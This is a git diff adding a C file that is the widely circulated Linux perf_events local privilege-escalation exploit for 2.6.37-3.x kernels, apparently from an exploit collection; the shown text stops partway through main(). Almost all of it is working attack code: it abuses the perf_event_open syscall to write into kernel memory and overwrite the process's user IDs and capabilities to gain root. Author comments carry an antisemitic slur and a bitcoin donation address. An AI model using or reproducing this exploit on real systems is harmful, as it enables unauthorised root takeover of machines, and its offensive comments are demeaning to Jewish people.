diff --git a/c/exploits/2013.05.14/perf_events.c b/c/exploits/2013.05.14/perf_events.c new file mode 100644 index 0000000..a1aa707 --- /dev/null +++ b/c/exploits/2013.05.14/perf_events.c @@ -0,0 +1,89 @@ +/* + * linux 2.6.37-3.x.x x86_64, ~100 LOC + * gcc-4.6 -O2 semtex.c && ./a.out + * 2010 sd@fucksheep.org, salut! + * + * update may 2013: + * seems like centos 2.6.32 backported the perf bug, lol. + * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist. + */ + +#define _GNU_SOURCE 1 +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define BASE 0x380000000 +#define SIZE 0x010000000 +#define KSIZE 0x2000000 +#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) + +void fuck() { + int i,j,k; + uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) }; + uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192)); + uint64_t kbase = ((uint64_t)current)>>36; + uint32_t *fixptr = (void*) AB(1); + *fixptr = -1; + + for (i=0; i<4000; i+=4) { + uint64_t *p = (void *)¤t[i]; + uint32_t *t = (void*) p[0]; + if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; + for (j=0; j<20; j++) { for (k = 0; k < 8; k++) + if (((uint32_t*)uids)[k] != t[j+k]) goto next; + for (i = 0; i < 8; i++) t[j+i] = 0; + for (i = 0; i < 10; i++) t[j+9+i] = -1; + return; +next:; } + } +} + +void sheep(uint32_t off) { + uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 }; + int fd = syscall(298, buf, 0, -1, -1, 0); + assert(!close(fd)); +} + + +int main() { + uint64_t u,g,needle, kbase, *p; uint8_t *code; + uint32_t *map, j = 5; + int i; + struct { + uint16_t limit; + uint64_t addr; + } __attribute__((packed)) idt; + assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); + memset(map, 0, SIZE); + sheep(-1); sheep(-2); + for (i = 0; i < SIZE/4; i++) if (map[i]) { + assert(map[i+1]); + break; + } + assert(i